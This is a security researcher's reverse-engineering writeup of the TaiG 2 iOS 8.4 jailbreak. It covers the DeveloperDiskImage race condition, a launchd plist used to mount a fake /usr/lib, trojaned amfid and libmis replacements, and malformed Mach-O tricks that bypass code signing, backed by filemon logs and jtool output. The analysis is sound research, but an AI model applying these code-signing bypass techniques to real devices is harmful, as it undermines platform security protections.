28 Days Later* - TaiG 2 (Part the 1st)
Jonathan Levin, http://newosxbook.com/ @Technologeeks - 7/23/15
Changelog
- 07/25/15: Added Tar file with shellcode to disassemble, refined output demonstrating patching, and links to filemon, procexp, jtool
- 07/25/15: Added The @Comex Clarification
Prelude: About
The TaiG Jailbreak for 8.3 and 8.4 came out of the blue, entirely unannounced, almost a month ago. During that time, there has been no public documentation about how it actually works. I plan to discuss this jailbreak at length in Technologeeks' upcoming OSX/iOS Internals for Reverse Enginners training, as it makes a perfect case study. There is no monopoly on knowledge, however, so - in what might become a tradition (after my previous writeup on the 8.1.2 jailbreak) - I decided to post a writeup here. This will also make it to the 2nd edition of MOXiI, which covers jailbreaks in a dedicated chapter.
Tools used
I've made extensive use of my own address:label:comments
, with a few limitations (i.e. must be sorted, function labels start with a '_'). This made it easy to augment
Static analysis, though, has its limitations, particularly in figuring out runtime derived data. So where
For runtime statistics and process tracking I use my own tools:
- Process Explorer (
procexp ) - mytop replacement, which has since evolved to includevmmap support, integratedlsof and much more. Get it here - File Monitor (
filemon ) - myfsevents
client, which tracks all filesystem activity (arguably, to the extents of whatfsevents
can provide) - which you can get here, with source.
Downloads
If you want to follow along, there is no time like the present. Since 8.4.1 is not out yet, 8.4 (and 8.3, possibly?) is still within AAPL's signing window, so you can get the binaries onto your device and do this as a rolling exercise. Worst that can happen if you lose the jailbreak, is that you can re-jailbreak and restore to 8.4. An unpleasant, yet doable process.
Grab a copy of the files from right here. The tgz includes the DMGs and trojan files (not the untether - I cover that later). You can get my tools from various places in this site, so that should be easy. Make sure you're using the latest version of JTool, because otherwise earlier versions (as well as other tools) will crash on the Taig messed up binaries!
I. Getting on the device
The TaiG2 jailbreak is remarkably similar to the original TaiG. In particular, the method used to get on the device initially (TaiG's 20-40%) is the tried and true DevelopDiskImage race condition, which I've discussed in the first part of the previous version's writeup. What makes the DeveloperDiskImage (DDI) so darn attractive is the "right mix", namely:
- The root filesystem (/) is mounted read-only - so you can't really upload anything else there
- The DDI can be mounted from iTunes (or generally any client using the AppleMobileDevice frameworks)
- Apple still (what is it, now, four? five years?) hasn't fixed that darn race condition. Tsk tsk.
- Lockdown is just plain stupid.
The Race Condition
A nice feature of TaiG is that it allows you to try the jailbreak even if the device has already been previously jailbroken. That's useful, in that one can get a tool like fsevents
drops a few events here and there, but the gist of it can be clearly seen (excuse the overflow of the dirnames below - the UUID names are a mile long):
Pademonum:~ root# filemon
..
277 Stat changed /private/var/mobile/Media/Books/Purchases/mload
277 Renamed /private/var/mobile/Media/PhotoData/Links/mload/l1 /private/var/run/mobile_image_mounter
277 Chowned /private/var/mobile/Media/Books/Purchases/mload
277 Chowned /private/var/mobile/Media/Books/Purchases/mload
256 afcd Deleted /private/var/mobile/Media/Books/Purchases/mload
256 afcd Created dir /private/var/mobile/Media/Books/Purchases/mload
256 afcd Created dir /private/var/mobile/Media/Books/Purchases/mload/6d55c2edf0583c63adc540dbe8bf8547b49d54957ce9dc8032d1a9f9ad759e2b1fe99fcb2baeb3db5348ab322cb65c7fc38b59cb75697cbc29221dce1ecd120d
256 afcd Created dir /private/var/mobile/Media/Books/Purchases/mload/6d55c2edf0583c63adc540dbe8bf8547b49d54957ce9dc8032d1a9f9ad759e2b1fe99fcb2baeb3db5348ab322cb65c7fc38b59cb75697cbc29221dce1ecd120d/909b75240921fc3f2d96ff08d317e199e033a7f8a8ff430b0c97bf3c6210fc39f35e1c239d1bf7d568be613aafef53104f3bc1801eda87ef963a7abeb57b8369
256 afcd Created /private/var/mobile/Media/Books/Purchases/mload/input
256 afcd Modified /private/var/mobile/Media/Books/Purchases/mload/input
278 mobile_storage_p Created /private/var/mobile/Media/Books/Purchases/mload/6d55c2edf0583c63adc540dbe8bf8547b49d54957ce9dc8032d1a9f9ad759e2b1fe99fcb2baeb3db5348ab322cb65c7fc38b59cb75697cbc29221dce1ecd120d/909b75240921fc3f2d96ff08d317e199e033a7f8a8ff430b0c97bf3c6210fc39f35e1c239d1bf7d568be613aafef53104f3bc1801eda87ef963a7abeb57b8369/leShp0.dmg
278 mobile_storage_p Modified /private/var/mobile/Media/Books/Purchases/mload/6d55c2edf0583c63adc540dbe8bf8547b49d54957ce9dc8032d1a9f9ad759e2b1fe99fcb2baeb3db5348ab322cb65c7fc38b59cb75697cbc29221dce1ecd120d/909b75240921fc3f2d96ff08d317e199e033a7f8a8ff430b0c97bf3c6210fc39f35e1c239d1bf7d568be613aafef53104f3bc1801eda87ef963a7abeb57b8369/leShp0.dmg
256 afcd Renamed /private/var/mobile/Media/Books/Purchases/mload/6d55c2edf0583c63adc540dbe8bf8547b49d54957ce9dc8032d1a9f9ad759e2b1fe99fcb2baeb3db5348ab322cb65c7fc38b59cb75697cbc29221dce1ecd120d/909b75240921fc3f2d96ff08d317e199e033a7f8a8ff430b0c97bf3c6210fc39f35e1c239d1bf7d568be613aafef53104f3bc1801eda87ef963a7abeb57b8369/leShp0.dmg /private/var/mobile/Media/Books/Purchases/mload/input2
256 afcd Renamed /private/var/mobile/Media/Books/Purchases/mload/input /private/var/mobile/Media/Books/Purchases/mload/6d55c2edf0583c63adc540dbe8bf8547b49d54957ce9dc8032d1a9f9ad759e2b1fe99fcb2baeb3db5348ab322cb65c7fc38b59cb75697cbc29221dce1ecd120d/909b75240921fc3f2d96ff08d317e199e033a7f8a8ff430b0c97bf3c6210fc39f35e1c239d1bf7d568be613aafef53104f3bc1801eda87ef963a7abeb57b8369/leShp0.dmg
279 MobileStorageMou Deleted /private/var/mobile/Media/Books/Purchases/mload/6d55c2edf0583c63adc540dbe8bf8547b49d54957ce9dc8032d1a9f9ad759e2b1fe99fcb2baeb3db5348ab322cb65c7fc38b59cb75697cbc29221dce1ecd120d/909b75240921fc3f2d96ff08d317e199e033a7f8a8ff430b0c97bf3c6210fc39f35e1c239d1bf7d568be613aafef53104f3bc1801eda87ef963a7abeb57b8369/leShp0.dmg
279 MobileStorageMou Deleted /private/var/run/mobile_image_mounter
278 mobile_storage_p Modified /private/var/mobile/Library/Logs/Device-O-Matic/com.apple.mobile.storage_proxy.log.0
..
256 afcd Deleted /private/var/mobile/Media/Books/Purchases/mload/input2
...
315 BackupAgent Stat changed /private/var/mobile/Media/PhotoData/Links/var
315 BackupAgent Created dir /private/var/.backup.i/var/mobile/Media
315 BackupAgent Created dir /private/var/.backup.i/var/mobile/Media/PhotoData
315 BackupAgent Renamed /private/var/mobile/Media/PhotoData/Links/c/c/c/c/c/c/l121 /private/var/.backup.i/var/mobile/Media/PhotoData/c
Those links in
Pademonium:~ root# ls -l /private/var/mobile/Media/PhotoData/Links/c/c/c/c/c/c
total 736
lrwxr-xr-x 1 mobile mobile 21 Jul 18 12:09 l108 -> ../../../../../../var
lrwxr-xr-x 1 mobile mobile 21 Jul 18 12:09 l109 -> ../../../../../../var
lrwxr-xr-x 1 mobile mobile 21 Jul 18 12:09 l110 -> ../../../../../../var
lrwxr-xr-x 1 mobile mobile 21 Jul 18 12:09 l111 -> ../../../../../../var
lrwxr-xr-x 1 mobile mobile 21 Jul 18 12:09 l112 -> ../../../../../../var
And if you catch the DMG while the jailbreak is in action (a little bit tricky since it keeps getting deleted), you will see:
Pademonium:/var/mobile/Media/Books/Purchases/mload root# ls -R total 760 drwxr-xr-x 3 mobile mobile 102 Jul 18 11:35 6d55c2edf0583c63adc540dbe8bf8547b49d54957ce9dc8032d1a9f9ad759e2b1fe99fcb2baeb3db5348ab322cb65c7fc38b59cb75697cbc29221dce1ecd120d -rw-r--r-- 1 mobile mobile 385158 Jul 18 11:35 input # the FAKE DDI ./6d55c2edf0583c63adc540dbe8bf8547b49d54957ce9dc8032d1a9f9ad759e2b1fe99fcb2baeb3db5348ab322cb65c7fc38b59cb75697cbc29221dce1ecd120d: total 0 drwxr-xr-x 2 mobile mobile 102 Jul 18 11:35 909b75240921fc3f2d96ff08d317e199e033a7f8a8ff430b0c97bf3c6210fc39f35e1c239d1bf7d568be613aafef53104f3bc1801eda87ef963a7abeb57b8369 ./6d55c2edf0583c63adc540dbe8bf8547b49d54957ce9dc8032d1a9f9ad759e2b1fe99fcb2baeb3db5348ab322cb65c7fc38b59cb75697cbc29221dce1ecd120d/909b75240921fc3f2d96ff08d317e199e033a7f8a8ff430b0c97bf3c6210fc39f35e1c239d1bf7d568be613aafef53104f3bc1801eda87ef963a7abeb57b8369: total 10144 -rw------- 1 root mobile 5192086 Jul 18 11:35 mlja6L.dmg # The REAL DDI
And of course, we have a symlink from
Pademonium:/var/mobile/Media/Books/Purchases/mload root# ls -l /var/run
total 32
..
lrwxr-xr-x 1 mobile mobile 39 Jul 18 11:29 mobile_image_mounter -> /var/mobile/Media/Books/Purchases/mload
If you're reading this and getting a deja vu - no, I didn't cut/paste from the previous writeup - these are results from a real device. But it's the exact same method. I may have said this before, but since nobody heard it the first time(s) - Learn from history or be condemned to repeat it. And repeat it. And repeat it. In fact, TaiG repeats it twice.. Not one but two Disk Images this time.
DDI(s)
Once mounted, the fake DDI (input.dmg in the download bundle) looks like so:
Pademonium:~ root# ls -lR /Developer
total 48
-rw-r--r--@ 1 mobile staff 21508 Jul 2 11:40 .DS_Store
d-wx-wx-wt@ 2 mobile staff 68 Jul 2 11:40 .Trashes
drwx------ 5 mobile staff 170 Jul 2 11:41 .fseventsd
drwxrwxrwx 4 mobile staff 136 Oct 12 2014 Library
drwxrwxrwx 6 mobile staff 204 Oct 22 2014 bin
drwxrwxrwx 6 mobile staff 204 Jul 2 11:39 setup
/Developer/.Trashes:
/Developer/.fseventsd:
total 24
-rw------- 1 mobile staff 801 Jul 2 11:41 00000000657910eb
-rw------- 1 mobile staff 71 Jul 2 11:41 00000000657910ec
-rw------- 1 mobile staff 36 Jul 2 11:41 fseventsd-uuid
/Developer/Library:
total 32
-rwxrwxrwx@ 1 mobile staff 12292 Dec 30 2014 .DS_Store
drwxrwxrwx 4 mobile staff 136 Nov 28 2013 Lockdown
/Developer/Library/Lockdown:
total 32
-rwxrwxrwx@ 1 mobile staff 15364 Jun 18 22:33 .DS_Store
drwxrwxrwx 30 mobile staff 1020 Jun 18 22:33 ServiceAgents
/Developer/Library/Lockdown/ServiceAgents:
total 232
-rwxrwxrwx@ 1 mobile staff 6148 Nov 6 2014 .DS_Store
-rwxrwxrwx@ 1 mobile staff 596 Jun 16 02:58 com.apple.exec_dyld.plist
-rwxrwxrwx@ 1 mobile staff 614 Dec 23 2014 com.apple.exec_patch_1.plist
-rwxrwxrwx@ 1 mobile staff 614 Dec 23 2014 com.apple.exec_patch_2.plist
-rwxrwxrwx@ 1 mobile staff 604 Nov 6 2014 com.apple.exec_s.plist
-rwxrwxrwx@ 1 mobile staff 604 Nov 6 2014 com.apple.exec_u.plist
-rwxrwxrwx@ 1 mobile staff 656 Dec 3 2013 com.apple.load_amfi.plist
-rwxrwxrwx@ 1 mobile staff 809 Sep 29 2014 com.apple.mount_cache_1.plist
-rwxrwxrwx@ 1 mobile staff 809 Sep 29 2014 com.apple.mount_cache_2.plist
-rwxrwxrwx@ 1 mobile staff 809 Sep 29 2014 com.apple.mount_cache_3.plist
-rwxrwxrwx@ 1 mobile staff 809 Sep 29 2014 com.apple.mount_cache_4.plist
-rwxrwxrwx@ 1 mobile staff 809 Sep 29 2014 com.apple.mount_cache_5.plist
-rwxrwxrwx@ 1 mobile staff 809 Dec 1 2014 com.apple.mount_cache_6.plist
-rwxrwxrwx@ 1 mobile staff 809 Dec 1 2014 com.apple.mount_cache_7.plist
-rwxrwxrwx@ 1 mobile staff 809 Dec 1 2014 com.apple.mount_cache_8.plist
-rwxrwxrwx@ 1 mobile staff 793 Sep 29 2014 com.apple.mount_lib_1.plist
-rwxrwxrwx@ 1 mobile staff 793 Sep 29 2014 com.apple.mount_lib_2.plist
-rwxrwxrwx@ 1 mobile staff 793 Sep 29 2014 com.apple.mount_lib_3.plist
-rwxrwxrwx@ 1 mobile staff 793 Sep 29 2014 com.apple.mount_lib_4.plist
-rwxrwxrwx@ 1 mobile staff 793 Sep 29 2014 com.apple.mount_lib_5.plist
-rwxrwxrwx@ 1 mobile staff 793 Dec 1 2014 com.apple.mount_lib_6.plist
-rwxrwxrwx@ 1 mobile staff 793 Dec 1 2014 com.apple.mount_lib_7.plist
-rwxrwxrwx@ 1 mobile staff 793 Dec 1 2014 com.apple.mount_lib_8.plist
-rwxrwxrwx@ 1 mobile staff 624 Dec 3 2013 com.apple.remove_amfi.plist
-rwxrwxrwx@ 1 mobile staff 602 Dec 4 2013 com.apple.umount_cache.plist
-rwxrwxrwx@ 1 mobile staff 586 Dec 4 2013 com.apple.umount_lib.plist
-rwxrwxrwx@ 1 mobile staff 546 Jul 11 2014 com.apple.unload_assetsd.plist
-rwxrwxrwx@ 1 mobile staff 556 Jun 4 2014 com.apple.unload_itunesstored.plist
/Developer/bin:
total 1112
-rwxrwxrwx@ 1 mobile staff 6148 Oct 21 2014 .DS_Store
-rwxrwxrwx 1 mobile staff 24928 Oct 13 2014 afcd2
-rwxrwxrwx 1 mobile staff 324672 Dec 1 2013 tar
-rwxrwxrwx 1 mobile staff 202272 Dec 3 2013 unmount64
/Developer/setup:
total 704
-rwxrwxrwx@ 1 mobile staff 6148 Feb 13 01:10 .DS_Store
-rwxrwxrwx@ 1 mobile staff 488 Oct 22 2014 com.taig.untether.plist
-rwxrwxrwx@ 1 mobile staff 32629 Oct 21 2014 lockdown_patch.dmg
-rwxrwxrwx 1 mobile staff 312784 Jul 2 11:39 taig
Note the multitude of lockdown agents there. At 40%-60%, another DDI is inserted but not mounted (yet) this time packed with pure goodness - a fake
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>AllowUnauthenticatedServices</key>
<true/>
<key>EnvironmentVariables</key>
<dict>
<key>LAUNCHD_SOCKET</key>
<string>/private/var/tmp/launchd/sock</string>
<key>PATH</key>
<string>/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin</string>
</dict>
<key>Label</key>
<string>com.apple.mount_lib_1</string>
<key>ProgramArguments</key>
<array>
<string>/sbin/mount</string>
<string>-t</string>
<string>hfs</string>
<string>-o</string>
<string>ro</string>
<string>/dev/disk1s2</string> <! -- in mount_lib_#.plist this is disk#s2 !-->
<string>/usr/lib</string>
</array>
<key>UserName</key>
<string>root</string>
</dict>
</plist>
(
When the service agents have run, one of them will get the right disk (BSD device) number, and as a result the slices (partitions of the DMG) will be mounted... right over
Pademonium:/var/mobile/Media/Purchases root# df Filesystem 1K-blocks Used Available Use% Mounted on /dev/disk0s1s1 3042524 2313552 698548 77% / devfs 56 56 0 100% /dev /dev/disk0s1s2 27923236 6222452 21700784 23% /private/var /dev/disk5 40000 2556 37444 7% /Developer /dev/disk4s3 9724 2452 7272 26% /System/Library/Caches /dev/disk4s2 19532 3448 16084 18% /usr/lib # And note /usr/lib, in particular: Pademonium:/var/mobile/Media/Purchases root# ls -l /usr/lib total 208 -rw-r--r--@ 1 mobile staff 6148 Jun 30 12:21 .DS_Store d-wx-wx-wt@ 2 mobile staff 68 Jun 30 12:21 .Trashes drwx------ 5 mobile staff 170 Jun 30 12:21 .fseventsd drwxrwxrwx 2 mobile staff 68 Jun 7 23:14 64_arm64_8.4_12H143 -rwxrwxrwx 1 mobile staff 3908 Jun 30 11:30 FDRSealingMap.plist drwxrwxrwx 25 mobile staff 850 Jun 30 12:16 StandardDMCFiles lrwxr-xr-x 1 mobile staff 32 Jun 16 01:31 dyld -> /var/mobile/Media/install/file_d lrwxr-xr-x 1 mobile staff 21 Oct 9 2014 libDHCPServer.dylib -> libDHCPServer.A.dylib lrwxr-xr-x 1 mobile staff 16 Nov 28 2013 libMatch.dylib -> libMatch.1.dylib lrwxr-xr-x 1 mobile staff 16 Nov 28 2013 libexslt.dylib -> libexslt.0.dylib -rwxrwxrwx 1 mobile staff 67164 Jun 7 23:15 libmis.dylib lrwxr-xr-x 1 mobile staff 18 Oct 9 2014 libsandbox.dylib -> libsandbox.1.dylib lrwxr-xr-x 1 mobile staff 17 Jun 5 2014 libstdc++.dylib -> libstdc++.6.dylib drwxrwxrwx 3 mobile staff 102 Jun 30 12:16 system drwxrwxrwx 3 mobile staff 102 Jun 30 12:16 xpc Pademonium:/var/mobile/Media/Purchases root# ls -l /System/Library/Caches/com.apple.dyld/ total 16 -rwxrwxrwx@ 1 mobile staff 6148 Dec 3 2013 .DS_Store -rwxrwxrwx 1 mobile staff 0 Nov 29 2013 enable-dylibs-to-override-cache # Hello, Old Friend! :-)
It takes both the filesystems to make the magic happen: The
This is where the second filesystem - the fake MISValidate
logic of the despicable AMFId to always return true. This time, however, there's a new
Meanwhile, in /var/mobile/Media/install..
While all the action was on the race condition, the loader program also dropped a few more files in
...
274 BackupAgent Chowned /private/var
274 BackupAgent Chowned /private/var
274 BackupAgent Created /private/var/tmp/RestoreFile.plist
274 BackupAgent Modified /private/var/tmp/RestoreFile.plist
274 BackupAgent Created dir /private/var/mobile/Media/install
274 BackupAgent Renamed /private/var/tmp/RestoreFile.plist /private/var/mobile/Media/install/file_c
274 BackupAgent Chowned /private/var/mobile/Media/install/file_c
274 BackupAgent Chowned /private/var/mobile/Media/install/file_c
274 BackupAgent Created /private/var/tmp/RestoreFile.plist
274 BackupAgent Modified /private/var/tmp/RestoreFile.plist
274 BackupAgent Renamed /private/var/tmp/RestoreFile.plist /private/var/mobile/Media/install/file_d
274 BackupAgent Chowned /private/var/mobile/Media/install/file_d
274 BackupAgent Chowned /private/var/mobile/Media/install/file_d
274 BackupAgent Created /private/var/tmp/RestoreFile.plist
274 BackupAgent Modified /private/var/tmp/RestoreFile.plist
274 BackupAgent Renamed /private/var/tmp/RestoreFile.plist /private/var/mobile/Media/install/file_a
274 BackupAgent Chowned /private/var/mobile/Media/install/file_a
274 BackupAgent Chowned /private/var/mobile/Media/install/file_a
274 BackupAgent Created /private/var/tmp/RestoreFile.plist
274 BackupAgent Modified /private/var/tmp/RestoreFile.plist
274 Renamed /private/var/tmp/RestoreFile.plist /private/var/mobile/Media/install/file_l
274 Chowned /private/var/mobile/Media/install/file_l
274 Chowned /private/var/mobile/Media/install/file_l
..
So what have we here? It's easier to figure out who's who by looking at a device once it's jailbroken fully:
Pademonium:/var/mobile/Media/install root# ls -l total 2608 -rwxr-xr-x 1 mobile mobile 114688 Jul 18 12:34 file_a -rwxr-xr-x 1 mobile mobile 573440 Jul 18 12:34 file_c -rwxr-xr-x 1 mobile mobile 573440 Jul 18 12:34 file_d -rwxr-xr-x 1 mobile mobile 232 Jul 18 12:34 file_l -rw-r--r-- 1 root mobile 67164 Jul 18 12:34 libmis.dylib Pademonium:/var/mobile/Media/install root# ls -ltr /usr/libexec/ -rwxr-xr-x 1 root wheel 93792 Jun 25 05:56 webinspectord # June 25th (above) was when iOS 8.4 files were built. Anything from here is trojan -rwxr-xr-x 1 root wheel 114688 Jul 16 13:19 amfid lrwxr-xr-x 1 root wheel 20 Jul 16 13:19 FinishRestoreFromBackup -> /usr/libexec/amfid_d lrwxr-xr-x 1 root wheel 10 Jul 16 13:19 CrashHousekeeping -> /taig/taig -rwxr-xr-x 1 root wheel 816720 Jul 16 13:19 installd drwxr-xr-x 2 root wheel 170 Jul 16 13:19 gnupg drwxr-xr-x 2 root wheel 408 Jul 16 13:19 cydia -rwxr-xr-x 1 root wheel 232 Jul 16 16:28 amfid_l -rwxr-xr-x 1 root wheel 573440 Jul 16 16:28 amfid_d Pademonium:/var/mobile/Media/install root# md5 file* libmi* /usr/lib/libmis.dylib /usr/libexec/amfi* MD5 (file_a) = 5795fd0cec4de3e4115d2e6c6f25b5d9 --------------------------+ MD5 (file_c) = a66c03fccd7167d72e50a9288a0c4f2c ------------------------+ | MD5 (file_d) = cf64ee4ce4f1bae7f63bc48004bb7d08 (not copied) | | MD5 (file_l) = 43831eba594e3cf2c3b0fc134f6143a7 ----------------------+ | | MD5 (libmis.dylib) = 73ad8b5b764e1aa8cbccafa3439ce59d | | | MD5 (/usr/lib/libmis.dylib) = 73ad8b5b764e1aa8cbccafa3439ce59d | | | MD5 (/usr/libexec/amfid_0) = 0e3adde87dd1031c3cdfccfdf1462b93 (orig) | | | MD5 (/usr/libexec/amfid_l) = 43831eba594e3cf2c3b0fc134f6143a7 <---+ | | MD5 (/usr/libexec/amfid_d) = a66c03fccd7167d72e50a9288a0c4f2c <-----+ | MD5 (/usr/libexec/amfid) = 5795fd0cec4de3e4115d2e6c6f25b5d9 <-------+
The
As you can see,taig replaces not just libmis.dylib
, but amfid
, and - initially - dyld
(which was the file_d), which - while not copied, is used before amfid gets replaced! To get past code signing, they pull off an awesome trick, discussed next.
II. Bypassing code signing
(and the really bright exploit)Just replacing
So what is this trojan amfid?
Pademonium:/var/mobile/Media/install root# jtool -l /usr/libexec/amfid Fat binary, big-endian, 27 architectures: arm64, 0x0/0x0This is not a Mach-O 64-bit file. Sorry (Magic: bebafeca) Pademonium:/var/mobile/Media/install root# jtool -f /usr/libexec/amfid Fat headers fat_magic 0xcafebabe architecture 0 cputype 16777228 CPU_TYPE_ARM64 cpusubtype 1 CPU_SUBTYPE_ARM64_V8 offset 16384 size 81920 align 2^0 (1) # another 25 empty architectures architecture 1 cputype 0 cpusubtype 0 offset 0 size 0 align 2^0 (1) ... architecture 26 cputype 16777228 CPU_TYPE_ARM64 cpusubtype 1 CPU_SUBTYPE_ARM64_V8 offset 32768 size 65536 align 2^0 (1)
So many things here are wrong! Consider:
- Duplicate architecture binaries in same fat binary? Shouldn't that be illegal?
- Empty architectures? Shouldn't THAT be illegal?
- 27 architectures?!
But, XNU, your friendly kernel, just aims to please. So, what the heck. Let's load these anyway. This is where it gets even more interesting: Using
Pademonium:~ root# jtool -arch 0 -l /usr/libexec/amfid LC 00: LC_CODE_SIGNATURE Offset: 37120, Size: 368 (0x9100-0x9270) Pademonium:~ root# jtool -arch 26 -l -v /usr/libexec/amfid LC 00: LC_SEGMENT_64 Mem: 0x000000000-0x100000000 File: Not Mapped ---/--- __PAGEZERO LC 01: Unknown (0x0) (unhandled - drop J a bug report, please!) LC 02: LC_SEGMENT_64 Mem: 0x100008000-0x100008000 File: Not Mapped rw-/rw- __DATA Mem: 0x100004000-0x100004088 File: 0x00004000-0x00004088 __DATA.__got (Non-Lazy Symbol Ptrs) Mem: 0x100004088-0x1000041d0 File: 0x00004088-0x000041d0 __DATA.__la_symbol_ptr (Lazy Symbol Ptrs) Mem: 0x1000041d0-0x100004240 File: 0x000041d0-0x00004240 __DATA.__const Mem: 0x100004240-0x100004260 File: 0x00004240-0x00004260 __DATA.__cfstring LC 03: LC_SEGMENT_64 Mem: 0x100008000-0x100008000 File: Not Mapped rw-/rw- __RESTRICT Mem: 0x100008000-0x100008000 File: 0x00008000-0x00008000 __RESTRICT.__restrict LC 04: LC_SEGMENT_64 Mem: 0x100008000-0x10000a000 File: 0x4000-0x5270 r--/r-- __LINKEDIT LC 05: LC_DYLD_INFO Rebase info: 16 bytes at offset 32768 (0x8000-0x8010) Bind info: 472 bytes at offset 32784 (0x8010-0x81e8) Lazy info: 1120 bytes at offset 33256 (0x81e8-0x8648) No Weak info Export info: 32 bytes at offset 34376 (0x8648-0x8668) LC 06: LC_SYMTAB Symbol table is at offset 0x86b0 (34480), 60 entries String table is at offset 0x8bfc (35836), 1272 bytes LC 07: LC_DYSYMTAB 1 local symbols at index 0 1 external symbols at index 1 58 undefined symbols at index 2 No TOC No modtab 99 Indirect symbols at offset 0x8a70 LC 08: Unknown (0x0) (unhandled - drop J a bug report, please!) 00 00 00 00 20 00 00 00 0C 00 00 00 2F 75 73 72 2F 6C 69 62 2F 64 79 6C 64 00 00 00 00 00 00 00 LC 09: LC_UUID UUID: E4115724-159F-3261-B706-1999D101136F LC 10: LC_VERSION_MIN_IPHONEOS Minimum iOS version: 8.4.0 LC 11: LC_SOURCE_VERSION Source Version: 134.5.2.0.0 LC 12: LC_MAIN Entry Point: 0x3394 (Mem: 0) LC 13: LC_LOAD_DYLIB /usr/lib/libmis.dylib (compatibility ver: 1.0.0, current ver: 1.0.0) LC 14: LC_LOAD_DYLIB /usr/lib/libMobileGestalt.dylib (compatibility ver: 1.0.0, current ver: 1.0.0) LC 15: LC_LOAD_DYLIB /System/Library/Frameworks/IOKit.framework/Versions/A/IOKit (compatibility ver: 1.0.0, current ver: 275.0.0) LC 16: LC_LOAD_DYLIB /System/Library/Frameworks/CoreFoundation.framework/CoreFoundation (compatibility ver: 150.0.0, current ver: 1145.15.0) LC 17: LC_LOAD_DYLIB /usr/lib/libSystem.B.dylib (compatibility ver: 1.0.0, current ver: 1214.5.1) Unnable to get __TEXT segment LC 18: LC_FUNCTION_STARTS Offset: 34408, Size: 16 (0x8668-0x8678) LC 19: LC_DATA_IN_CODE Offset: 34424, Size: 0 (0x8678-0x8678) LC 20: LC_DYLIB_CODE_SIGN_DRS Offset: 34424, Size: 56 (0x8678-0x86b0) Magic: 1301 (Unknown/Unhandled: Please tell J) LC 21: Unknown (0x0) (unhandled - drop J a bug report, please!) 00 00 00 00 10 00 00 00 00 91 00 00 70 01 00 00 LC 22: LC_LOAD_DYLINKER /usr/libexec/amfid_d LC 23: LC_SEGMENT_64 Mem: 0x100000000-0x100004000 File: 0x8000-0xc000 r-x/r-x __TEXT_FAKE LC 24: LC_SEGMENT_64 Mem: 0x100004000-0x100008000 File: 0xc000-0x10000 rw-/rw- __DATA_FAKE LC 25: LC_SEGMENT_64 Mem: 0x10000c000-0x100010000 File: 0x0-0x4000 r--/r-- __HDR_FAKE
So once more, fake segments (right at the end there). But also a file containing just a code signature(!) and another containing an empty segment (__DATA
) which nonethless contains sections, and then some unknown load commands.
The amfid
. This is also similar to taig
before it can install the libraries permanently.
With the binaries so obviously malformed, Apple's lipo(1)
tool cowardly refuses to deal with them (since FAT binaries aren't allowed to contain two instances of the same architecture). I therefore extended the jtool
to handle architectures by number as well as type, and enabled the -e
xtract feature to also handle architectures. So we can look inside that __TEXT_FAKE - it maps to the file's 0x8000, so we can use :
Phontifex:/tmp root# cp /usr/libexec/amfid ./amfid Phontifex:/tmp root# jtool -arch 26 -extract arch ./amfid Selected architecture (26) starts at 32768 and spans 65536 bytes - written to ./amfid.arch_26 # Extract from 0x8000 (could also use jtool -e here, but I want to extract to EOF) Phontifex:/tmp root# dd if=./amfid.arch_26 of=/tmp/amfid.__TEXT_FAKE bs=0x8000 skip=1 1+0 records in 1+0 records out 32768 bytes transferred in 0.000295 secs (111106672 bytes/sec) # And, much to our amazement - a nested Mach-O! Phontifex:/tmp root# jtool -l /tmp/amfid.__TEXT_FAKE LC 00: LC_SEGMENT_64 Mem: 0x000000000-0x100000000 __PAGEZERO LC 01: LC_SEGMENT_64 Mem: 0x100000000-0x100004000 __TEXT Mem: 0x100002f84-0x100003870 __TEXT.__text (Normal) Mem: 0x100003870-0x100003a5c __TEXT.__stubs (Symbol Stubs) Mem: 0x100003a5c-0x100003c60 __TEXT.__stub_helper (Normal) Mem: 0x100003c60-0x100003d80 __TEXT.__const Mem: 0x100003d80-0x100003fb6 __TEXT.__cstring (C-String Literals) Mem: 0x100003fb8-0x100004000 __TEXT.__unwind_info LC 02: LC_SEGMENT_64 Mem: 0x100004000-0x100008000 __DATA Mem: 0x100004000-0x100004088 __DATA.__got (Non-Lazy Symbol Ptrs) Mem: 0x100004088-0x1000041d0 __DATA.__la_symbol_ptr (Lazy Symbol Ptrs) Mem: 0x1000041d0-0x100004240 __DATA.__const Mem: 0x100004240-0x100004260 __DATA.__cfstring LC 03: LC_SEGMENT_64 Mem: 0x100008000-0x100008000 __RESTRICT Mem: 0x100008000-0x100008000 __RESTRICT.__restrict LC 04: LC_SEGMENT_64 Mem: 0x100008000-0x10000a000 __LINKEDIT Warning: Binding offset (32784) is past end of file (32768) - File may be truncated, or header may be corrupt LC 05: LC_DYLD_INFO LC 06: LC_SYMTAB Symbol table is at offset 0x86b0 (34480), 60 entries String table is at offset 0x8bfc (35836), 1272 bytes LC 07: LC_DYSYMTAB 1 local symbols at index 0 1 external symbols at index 1 58 undefined symbols at index 2 No TOC No modtab 99 Indirect symbols at offset 0x8a70 LC 08: LC_LOAD_DYLINKER /usr/lib/dyld LC 09: LC_UUID UUID: E4115724-159F-3261-B706-1999D101136F LC 10: LC_VERSION_MIN_IPHONEOS Minimum iOS version: 8.4.0 LC 11: LC_SOURCE_VERSION Source Version: 134.5.2.0.0 LC 12: LC_MAIN Entry Point: 0x3394 (Mem: 100003394) LC 13: LC_LOAD_DYLIB /usr/lib/libmis.dylib LC 14: LC_LOAD_DYLIB /usr/lib/libMobileGestalt.dylib LC 15: LC_LOAD_DYLIB /System/Library/Frameworks/IOKit.framework/Versions/A/IOKit LC 16: LC_LOAD_DYLIB /System/Library/Frameworks/CoreFoundation.framework/CoreFoundation LC 17: LC_LOAD_DYLIB /usr/lib/libSystem.B.dylib Warning: FUNCTION_STARTS table (34408) is past end of file (32768) - File may be truncated, or header may be corrupt LC 18: LC_FUNCTION_STARTS Offset: 34408, Size: 16 (0x8668-0x8678) (past EOF!)LC 19: LC_DATA_IN_CODE Offset: 34424, Size: 0 (0x8678-0x8678) (past EOF!) LC 20: LC_DYLIB_CODE_SIGN_DRS Offset: 34424, Size: 56 (0x8678-0x86b0) (past EOF!) LC 21: LC_CODE_SIGNATURE Offset: 37120, Size: 368 (0x9100-0x9270) (past EOF!)
So, we have a 32k file - truncated, but who can we compare it to...? The original
